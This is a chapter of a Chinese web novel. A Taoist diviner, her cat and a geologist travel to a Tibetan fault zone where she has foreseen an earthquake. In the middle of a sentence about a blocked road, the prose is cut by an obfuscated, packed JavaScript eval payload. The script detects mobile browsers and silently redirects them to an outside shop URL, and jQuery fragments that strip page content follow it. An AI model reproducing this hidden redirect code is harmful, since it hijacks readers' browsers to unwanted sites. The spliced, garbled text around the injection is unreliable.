天还没亮，周南书就醒了。
山里的清晨冷得刺骨，被窝外头的空气像冰水一样。福崽蜷在她枕头边，把脑袋埋进尾巴里，睡得正沉。她没开灯，摸黑穿好衣服，然后轻轻碰了碰福崽的背。
“走了。”
福崽的耳朵动了一下，没睁眼。
周南书把它连同窝里那件旧棉袄一起塞进挎包。福崽这才不情愿地睁开眼，从包口探出头，看了一眼外面的黑暗，又缩回去了。
偏殿的门一开，冷风灌进来。老道长已经站在院子里了，穿着一件洗得发白的棉袄，手里提着一个保温袋。
“师父，这么早。”
“给你煮了几个鸡蛋，路上吃。”老道长把保温袋递过来，没多说什么，只是看了她一眼，“那边冷，多穿点。”
“穿了。”
老道长点了点头，转身回了屋。
周南书站在院子里，最后看了一眼清虚观。银杏树的叶子已经落光了，光秃秃的枝丫伸向灰蒙蒙的天空，像一幅没画完的素描。福崽从包里又探出头，打了个哈欠，呼出的白气在冷空气中散开。
她转身往山下走。
这一次出门，和之前不一样。
之前去青龙湖、去福建，都是“去了还能回来”的感觉。但这一次，她有一种说不清的预感——好像这一去，有些事情就回不去了。
不是坏事。
但也不全是好事。
---
方远的车停在镇子口，一辆黑色的越野，引擎还热着。他站在车旁边，穿着一件深色的冲锋衣，手里端着一杯咖啡，见周南书走过来，把咖啡放在车顶上，伸手去接她的包。
“我来。”
“不用，不重。”
方远没坚持，拉开后座的门，让她把包放进去。周南书注意到副驾驶的座位上放着一沓文件，密密麻麻的地质图和监测数据，页角有些卷，像是反复翻阅过的。
她坐进副驾驶，方远把文件收起来扔到后座，发动了车。
车子驶出镇子，上了国道。
天慢慢亮了，东边的山头泛起一层鱼肚白，然后是淡淡的橘色，再然后太阳从山脊线后面跳出来，把整片天空染成金黄。周南书看着窗外，福崽从包里跳出来，蹲在她腿上，眯着眼看外面的风景。
方远专注地开着车，没有说话。车载收音机没开，车里只有引擎的低沉轰鸣和轮胎碾过路面的沙沙声。
沉默持续了很久。
不是那种尴尬的沉默，是一种两个人都在想事情、不需要说话的沉默。
过了大概一个小时，方远先开口了。
“你昨天看了资料，有什么想法？”
周南书想了想，没有直接回答：“资料我看不太懂，那些波形图、应力曲线，不是我的专业。”
“但你决定去了。”
“嗯。”
“为什么？”
周南书看着窗外飞速后退的山峦。植被越来越稀疏，山体的颜色从绿色变成了灰褐色，像大地裸露的骨骼。
“因为你看不懂一个东西的时候，有两种选择。”她说，“一种是当它不存在。另一种是去看一眼。”
“你选第二种。”
“我选第二种。”周南书顿了一下，“上次青龙湖，如果我没去看一眼，那一千三百七十九个人里，会有人死。”
方远没说话。他的手在方向盘上握紧了一下，又松开。
“这次不一样。”他说。
“哪里不一样？”
“青龙湖是山体滑坡，有前兆，有裂缝，有动物异常。你算出来了，我们验证了，县长敢拍板。但地震……”他摇了摇头，“地震不是这样。地震没有肉眼可见的前兆。就算你算出来了，我怎么跟上级汇报？说‘有个道长治好了上次的滑坡，所以这次我们要疏散两千人’？”
周南书看了他一眼。
“你信我吗？”
方远沉默了几秒。
“这不是信不信的问题。”他说，“我信你。但我说服不了别人。”
“那你去现场干嘛？”
方远没有立刻回答。他把车速放慢了一点，似乎在斟酌措辞。
“我去了现场，”他说，“是因为如果什么都没发生，至少我问心无愧。但如果真的发生了，而我没去——我没办法面对自己。”
周南书没接话。
她想起程远的父亲。那个男人在殡仪馆里说，“我去了，我去晚了。”
“去了”和“去晚了”，是两回事。
“这次不会晚。”她说。
方远看了她一眼，那一眼里有周南书说不上来的东西——不是信任，不是依赖，是一种两个人都站在悬崖边上、互相确认对方还在的感觉。
“你上次在青龙湖，”方远说，“你算出滑坡的时候，你在想什么？”
周南书想了想。
“在想怎么让那些村民走。”
“没有别的？”
“……没有。”
方远笑了一下，不是那种轻松的笑，是那种“我也一样”的笑。
“我上次在想，”他说，“如果孙建国没拍板，如果疏散没成功，我会怎么样。后来我想明白了——我会辞职。”
周南书看着他。
“不是因为背锅，”方远说，“是因为如果我做对了事却不敢坚持，那这个位置坐着也没意思。”
他顿了顿。
“这次也一样。”
周南书没接话。她低头看福崽，福崽正蹲在她腿上，仰着头看方远，尾巴尖轻轻晃着。
“它好像挺喜欢你。”周南书说。
方远低头看了一眼福崽，伸手想摸，福崽把头偏了一下，没让摸，但也没跑。
“它只是好奇。”周南书说。
福崽“喵”了一声，像是在说“你管我”。
方远笑了一下，收回手，继续开车。
---
中午在服务区吃了碗面。
周南书没什么胃口，吃了半碗就放下了。方远把她剩下的半碗也吃了，动作很自然，像是习惯了不浪费粮食。
上车之前，周南书站在服务区的停车场里，看着远处的山。
这里已经是大山深处了。山不是青溪那种秀气的山，是那种雄浑的、沉默的、让人觉得自己很小的山。山顶有雪，雪线上方的天空蓝得不真实。
方远洗完手回来，站在她旁边。
“在想什么？”
“在想，”周南书说，“如果山会说话，它会说什么。”
方远想了想：“会说‘你们别来了’。”
周南书看了他一眼。
“我上次去一个震后现场，”方远说，“整座山都塌了半边，河谷里全是碎石。一个藏族老人站在废墟前面，跟我说了一句话。翻译告诉我，她说的是‘山生气了’。”
“你觉得呢？”周南书问。
“我觉得山没有情绪。”方远说，“但人有。”
他转身往车的方向走，走了两步，停下来，没回头。
“所以我要去。”
周南书看着他的背影，站了几秒，然后跟上去。福崽从她怀里探出头，朝方远的背影看了一眼，又缩回去了。
---
下午四点，到了林芝。
车子从国道拐进一条岔路，路况变差，柏油路面变成了砂石路，颠簸得厉害。福崽被颠醒了，不满地叫了一声，钻回包里不肯出来。
方远放慢了车速。
“前面就是断裂带的范围了。”他说，“地质队的人已经在那边扎营了，我们直接过去。”
窗外是连绵的山，山体的颜色越来越深，接近黑色。河谷里有一条窄窄的河流，水是灰白色的，流速很快。山坡上有零星的村庄，房子不高，土墙，平顶，院子里堆着干柴和草料。
周南书看着那些村庄，在心里默默数着。
米堆村、多嘎村、热西村。沿河谷分布，大概七八个村子，加起来不到两千人。
“如果这里真的震了，”周南书说，“这些房子扛不住。”
方远点头：“土木结构，没有抗震措施。震中烈度如果达到八度，九成以上会倒塌。”
“上次青龙湖是白天，人在户外多。这次呢？”
方远沉默了一下：“不知道。地震不挑时间。”
周南书没再问了，看着窗外，手指在膝盖上轻轻敲着。
---
车停了。
不是到目的地了，是路断了。
前方一处山体塌方，碎石和泥土堆了三米多高，把整条路堵得严严实实。旁边停着两台挖掘机，几个穿反光背心的工人正在清理。
方远下车去问了情况，回来时脸色不太好。
“昨晚山上掉下来的，预计要清到明天早
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509729|202948||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上。前面三公里就是地质队的营地，但车过不去了。”
“走过去呢？”
“三公里，海拔四千米，你确定？”
周南书没说话，弯腰把福崽从包里抱出来，塞进怀里。福崽挣扎了一下，被她按住。
“走。”
方远看了她一眼，没再劝。他从后备箱拿出两个头灯和一件备用冲锋衣递给周南书，把车锁好，跟了上去。
---
海拔四千米，走三公里。
听起来不远，但每走一步都在喘。周南书的肺像被什么东西攥住了，每吸一口气都费劲，心脏在胸腔里咚咚地跳，像是要撞破肋骨跳出来。
方远走在她前面，没有回头，但放慢了速度。
走了大概一公里，周南书停下来，弯着腰喘气。福崽从她怀里跳下来，蹲在路边，仰着头看她，尾巴慢慢摇着。
“它倒是一点事没有。”方远走回来，站在她旁边。
“它是猫。”周南书喘着气说。
“猫不高反？”
“它不高反。”
福崽“喵”了一声，像是在说“对，我比你强”。
方远笑了一下，从兜里掏出一板药片，拆开两粒递给周南书。
“红景天，含着。”
周南书接过，含在舌下。药的苦味在嘴里散开，她皱了皱眉。
方远递给她一瓶水。
她灌了一口，缓了缓呼吸，直起身。
“走吧。”
方远走在她左边，偶尔在路面不平的地方伸手示意一下——不碰到她，只是抬手朝那个方向指一下，意思是“这里有坑”或“这里滑”。
周南书注意到了，没说什么。
有些东西，不需要说。也不需要回应。
---
到营地的时候天已经黑了。
营地不大，四顶帐篷围着一辆通讯车，发电机嗡嗡地响。方远跟负责人打了招呼，把周南书安排在靠里的一顶帐篷里，自己住靠外的那顶。
“你先休息，明早我去看几个点。”方远说。
“我跟你一起。”
“你的身体——”
“没事。”周南书说，“睡一觉就好了。”
方远看了她一眼，没再坚持。
他站在那里，好像还有什么话要说，但站了两秒，什么都没说，转身走了。
周南书站在帐篷外面，抬头看了看天。西藏的天比青溪的低，星星密密麻麻地铺在上面，像谁撒了一把碎银子。银河从东边横到西边，模糊的光带像一条河，河里有无数颗星星在淌。
福崽从她怀里跳下来，在帐篷旁边闻了闻，然后蹲下来，仰头看着那片星空。尾巴慢慢摇着，姿态从容，仿佛这里不是四千米的高原，而是道观的偏殿。
周南书蹲下来，摸了摸它的头。
“你是不是天生就适合流浪？”
福崽没理她，站起来，慢悠悠钻进了帐篷。
周南书笑了一下，跟了进去。
---
帐篷里有一盏应急灯，昏黄的光把帆布壁照得微微发亮。福崽已经找了个角落团好，眯着眼，尾巴卷着爪子。
周南书躺下来，闭上眼睛。
高反让她的太阳穴突突地跳，像有人在里面敲鼓。脑子却异常清醒，怎么也睡不着。
她想起方远在车上说的那句话——“如果什么都没发生，至少我问心无愧。”
问心无愧。
她在心里默念这四个字，翻了个身。
福崽咕噜了一声，像是在说“别想了，睡吧”。
她闭上眼睛。
外面有风吹过帐篷的声音，呼啦呼啦的，像什么东西在呼吸。
在这个离天最近的地方，在这个随时可能地动山摇的断裂带上，她躺在一个薄薄的睡袋里，头顶是星空，身下是大地。
大地在沉睡。
但她的卦象说，它快醒了。
周南书睁开眼睛，看着帐篷顶部那盏灯的微光。
明天。
明天她会去现场，用眼睛看，用脚走，用手摸。
她会找到那个“看得见摸得着”的证据。
然后她会站在方远面前，告诉他——就是这里，就是现在，就是这些人。
而他会信她。
因为目前为止，她还没错过。
这一次，也不会。